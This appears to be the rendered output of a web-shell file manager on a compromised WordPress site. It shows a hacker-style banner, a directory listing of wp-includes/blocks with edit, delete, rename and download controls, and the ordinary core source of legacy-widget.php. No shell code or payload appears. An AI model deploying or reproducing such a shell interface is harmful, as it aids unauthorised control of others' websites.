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⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
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⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
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Current Dir: /dom834884/wp-includes/blocks/

[DIR] archives [ delete | rename ]
[DIR] audio [ delete | rename ]
[DIR] avatar [ delete | rename ]
[DIR] block [ delete | rename ]
[DIR] button [ delete | rename ]
[DIR] buttons [ delete | rename ]
[DIR] calendar [ delete | rename ]
[DIR] categories [ delete | rename ]
[DIR] code [ delete | rename ]
[DIR] column [ delete | rename ]
[DIR] columns [ delete | rename ]
[DIR] comment-author-name [ delete | rename ]
[DIR] comment-content [ delete | rename ]
[DIR] comment-date [ delete | rename ]
[DIR] comment-edit-link [ delete | rename ]
[DIR] comment-reply-link [ delete | rename ]
[DIR] comment-template [ delete | rename ]
[DIR] comments [ delete | rename ]
[DIR] comments-pagination [ delete | rename ]
[DIR] comments-pagination-next [ delete | rename ]
[DIR] comments-pagination-numbers [ delete | rename ]
[DIR] comments-pagination-previous [ delete | rename ]
[DIR] comments-title [ delete | rename ]
[DIR] cover [ delete | rename ]
[DIR] details [ delete | rename ]
[DIR] embed [ delete | rename ]
[DIR] file [ delete | rename ]
[DIR] footnotes [ delete | rename ]
[DIR] freeform [ delete | rename ]
[DIR] gallery [ delete | rename ]
[DIR] group [ delete | rename ]
[DIR] heading [ delete | rename ]
[DIR] home-link [ delete | rename ]
[DIR] html [ delete | rename ]
[DIR] image [ delete | rename ]
[DIR] latest-comments [ delete | rename ]
[DIR] latest-posts [ delete | rename ]
[DIR] legacy-widget [ delete | rename ]
[DIR] list [ delete | rename ]
[DIR] list-item [ delete | rename ]
[DIR] loginout [ delete | rename ]
[DIR] media-text [ delete | rename ]
[DIR] missing [ delete | rename ]
[DIR] more [ delete | rename ]
[DIR] navigation [ delete | rename ]
[DIR] navigation-link [ delete | rename ]
[DIR] navigation-submenu [ delete | rename ]
[DIR] nextpage [ delete | rename ]
[DIR] page-list [ delete | rename ]
[DIR] page-list-item [ delete | rename ]
[DIR] paragraph [ delete | rename ]
[DIR] pattern [ delete | rename ]
[DIR] post-author [ delete | rename ]
[DIR] post-author-biography [ delete | rename ]
[DIR] post-author-name [ delete | rename ]
[DIR] post-comments-form [ delete | rename ]
[DIR] post-content [ delete | rename ]
[DIR] post-date [ delete | rename ]
[DIR] post-excerpt [ delete | rename ]
[DIR] post-featured-image [ delete | rename ]
[DIR] post-navigation-link [ delete | rename ]
[DIR] post-template [ delete | rename ]
[DIR] post-terms [ delete | rename ]
[DIR] post-title [ delete | rename ]
[DIR] preformatted [ delete | rename ]
[DIR] pullquote [ delete | rename ]
[DIR] query [ delete | rename ]
[DIR] query-no-results [ delete | rename ]
[DIR] query-pagination [ delete | rename ]
[DIR] query-pagination-next [ delete | rename ]
[DIR] query-pagination-numbers [ delete | rename ]
[DIR] query-pagination-previous [ delete | rename ]
[DIR] query-title [ delete | rename ]
[DIR] query-total [ delete | rename ]
[DIR] quote [ delete | rename ]
[DIR] read-more [ delete | rename ]
[DIR] rss [ delete | rename ]
[DIR] search [ delete | rename ]
[DIR] separator [ delete | rename ]
[DIR] shortcode [ delete | rename ]
[DIR] site-logo [ delete | rename ]
[DIR] site-tagline [ delete | rename ]
[DIR] site-title [ delete | rename ]
[DIR] social-link [ delete | rename ]
[DIR] social-links [ delete | rename ]
[DIR] spacer [ delete | rename ]
[DIR] table [ delete | rename ]
[DIR] tag-cloud [ delete | rename ]
[DIR] template-part [ delete | rename ]
[DIR] term-description [ delete | rename ]
[DIR] text-columns [ delete | rename ]
[DIR] verse [ delete | rename ]
[DIR] video [ delete | rename ]
[DIR] widget-group [ delete | rename ]
[FILE] archives.php [ edit | delete | rename | download ]
[FILE] avatar.php [ edit | delete | rename | download ]
[FILE] block.php [ edit | delete | rename | download ]
[FILE] blocks-json.php [ edit | delete | rename | download ]
[FILE] button.php [ edit | delete | rename | download ]
[FILE] calendar.php [ edit | delete | rename | download ]
[FILE] categories.php [ edit | delete | rename | download ]
[FILE] comment-author-name.php [ edit | delete | rename | download ]
[FILE] comment-content.php [ edit | delete | rename | download ]
[FILE] comment-date.php [ edit | delete | rename | download ]
[FILE] comment-edit-link.php [ edit | delete | rename | download ]
[FILE] comment-reply-link.php [ edit | delete | rename | download ]
[FILE] comment-template.php [ edit | delete | rename | download ]
[FILE] comments-pagination-next.php [ edit | delete | rename | download ]
[FILE] comments-pagination-numbers.php [ edit | delete | rename | download ]
[FILE] comments-pagination-previous.php [ edit | delete | rename | download ]
[FILE] comments-pagination.php [ edit | delete | rename | download ]
[FILE] comments-title.php [ edit | delete | rename | download ]
[FILE] comments.php [ edit | delete | rename | download ]
[FILE] cover.php [ edit | delete | rename | download ]
[FILE] file.php [ edit | delete | rename | download ]
[FILE] footnotes.php [ edit | delete | rename | download ]
[FILE] gallery.php [ edit | delete | rename | download ]
[FILE] heading.php [ edit | delete | rename | download ]
[FILE] home-link.php [ edit | delete | rename | download ]
[FILE] image.php [ edit | delete | rename | download ]
[FILE] index.php [ edit | delete | rename | download ]
[FILE] latest-comments.php [ edit | delete | rename | download ]
[FILE] latest-posts.php [ edit | delete | rename | download ]
[FILE] legacy-widget.php [ edit | delete | rename | download ]
[FILE] list.php [ edit | delete | rename | download ]
[FILE] loginout.php [ edit | delete | rename | download ]
[FILE] media-text.php [ edit | delete | rename | download ]
[FILE] navigation-link.php [ edit | delete | rename | download ]
[FILE] navigation-submenu.php [ edit | delete | rename | download ]
[FILE] navigation.php [ edit | delete | rename | download ]
[FILE] page-list-item.php [ edit | delete | rename | download ]
[FILE] page-list.php [ edit | delete | rename | download ]
[FILE] pattern.php [ edit | delete | rename | download ]
[FILE] post-author-biography.php [ edit | delete | rename | download ]
[FILE] post-author-name.php [ edit | delete | rename | download ]
[FILE] post-author.php [ edit | delete | rename | download ]
[FILE] post-comments-form.php [ edit | delete | rename | download ]
[FILE] post-content.php [ edit | delete | rename | download ]
[FILE] post-date.php [ edit | delete | rename | download ]
[FILE] post-excerpt.php [ edit | delete | rename | download ]
[FILE] post-featured-image.php [ edit | delete | rename | download ]
[FILE] post-navigation-link.php [ edit | delete | rename | download ]
[FILE] post-template.php [ edit | delete | rename | download ]
[FILE] post-terms.php [ edit | delete | rename | download ]
[FILE] post-title.php [ edit | delete | rename | download ]
[FILE] query-no-results.php [ edit | delete | rename | download ]
[FILE] query-pagination-next.php [ edit | delete | rename | download ]
[FILE] query-pagination-numbers.php [ edit | delete | rename | download ]
[FILE] query-pagination-previous.php [ edit | delete | rename | download ]
[FILE] query-pagination.php [ edit | delete | rename | download ]
[FILE] query-title.php [ edit | delete | rename | download ]
[FILE] query-total.php [ edit | delete | rename | download ]
[FILE] query.php [ edit | delete | rename | download ]
[FILE] read-more.php [ edit | delete | rename | download ]
[FILE] require-dynamic-blocks.php [ edit | delete | rename | download ]
[FILE] require-static-blocks.php [ edit | delete | rename | download ]
[FILE] rss.php [ edit | delete | rename | download ]
[FILE] search.php [ edit | delete | rename | download ]
[FILE] shortcode.php [ edit | delete | rename | download ]
[FILE] site-logo.php [ edit | delete | rename | download ]
[FILE] site-tagline.php [ edit | delete | rename | download ]
[FILE] site-title.php [ edit | delete | rename | download ]
[FILE] social-link.php [ edit | delete | rename | download ]
[FILE] tag-cloud.php [ edit | delete | rename | download ]
[FILE] template-part.php [ edit | delete | rename | download ]
[FILE] term-description.php [ edit | delete | rename | download ]
[FILE] widget-group.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-includes/blocks/legacy-widget.php

<?php
/**
 * Server-side rendering of the `core/legacy-widget` block.
 *
 * @package WordPress
 */

/**
 * Renders the 'core/legacy-widget' block.
 *
 * @since 5.8.0
 *
 * @global int $wp_widget_factory.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Rendered block.
 */
function render_block_core_legacy_widget( $attributes ) {
	global $wp_widget_factory;

	if ( isset( $attributes['id'] ) ) {
		$sidebar_id = wp_find_widgets_sidebar( $attributes['id'] );
		return wp_render_widget( $attributes['id'], $sidebar_id );
	}

	if ( ! isset( $attributes['idBase'] ) ) {
		return '';
	}

	$id_base       = $attributes['idBase'];
	$widget_key    = $wp_widget_factory->get_widget_key( $id_base );
	$widget_object = $wp_widget_factory->get_widget_object( $id_base );

	if ( ! $widget_key || ! $widget_object ) {
		return '';
	}

	if ( isset( $attributes['instance']['encoded'], $attributes['instance']['hash'] ) ) {
		$serialized_instance = base64_decode( $attributes['instance']['encoded'] );
		if ( ! hash_equals( wp_hash( $serialized_instance ), (string) $attributes['instance']['hash'] ) ) {
			return '';
		}
		$instance = unserialize( $serialized_instance );
	} else {
		$instance = array();
	}

	$args = array(
		'widget_id'   => $widget_object->id,
		'widget_name' => $widget_object->name,
	);

	ob_start();
	the_widget( $widget_key, $instance, $args );
	return ob_get_clean();
}

/**
 * Registers the 'core/legacy-widget' block.
 *
 * @since 5.8.0
 */
function register_block_core_legacy_widget() {
	register_block_type_from_metadata(
		__DIR__ . '/legacy-widget',
		array(
			'render_callback' => 'render_block_core_legacy_widget',
		)
	);
}

add_action( 'init', 'register_block_core_legacy_widget' );

/**
 * Intercepts any request with legacy-widget-preview in the query param and, if
 * set, renders a page containing a preview of the requested Legacy Widget
 * block.
 *
 * @since 5.8.0
 */
function handle_legacy_widget_preview_iframe() {
	if ( empty( $_GET['legacy-widget-preview'] ) ) {
		return;
	}

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		return;
	}

	define( 'IFRAME_REQUEST', true );

	?>
	<!doctype html>
	<html <?php language_attributes(); ?>>
	<head>
		<meta charset="<?php bloginfo( 'charset' ); ?>" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="profile" href="https://gmpg.org/xfn/11" />
		<?php wp_head(); ?>
		<style>
			/* Reset theme styles */
			html, body, #page, #content {
				padding: 0 !important;
				margin: 0 !important;
			}

			/* Hide root level text nodes */
			body {
				font-size: 0 !important;
			}

			/* Hide non-widget elements */
			body *:not(#page):not(#content):not(.widget):not(.widget *) {
				display: none !important;
				font-size: 0 !important;
				height: 0 !important;
				left: -9999px !important;
				max-height: 0 !important;
				max-width: 0 !important;
				opacity: 0 !important;
				pointer-events: none !important;
				position: absolute !important;
				top: -9999px !important;
				transform: translate(-9999px, -9999px) !important;
				visibility: hidden !important;
				z-index: -999 !important;
			}

			/* Restore widget font-size */
			.widget {
				font-size: var(--global--font-size-base);
			}
		</style>
	</head>
	<body <?php body_class(); ?>>
		<div id="page" class="site">
			<div id="content" class="site-content">
				<?php
				$registry = WP_Block_Type_Registry::get_instance();
				$block    = $registry->get_registered( 'core/legacy-widget' );
				echo $block->render( $_GET['legacy-widget-preview'] );
				?>
			</div><!-- #content -->
		</div><!-- #page -->
		<?php wp_footer(); ?>
	</body>
	</html>
	<?php

	exit;
}

// Use admin_init instead of init to ensure get_current_screen function is already available.
// This isn't strictly required, but enables better compatibility with existing plugins.
// See: https://github.com/WordPress/gutenberg/issues/32624.
add_action( 'admin_init', 'handle_legacy_widget_preview_iframe', 20 );


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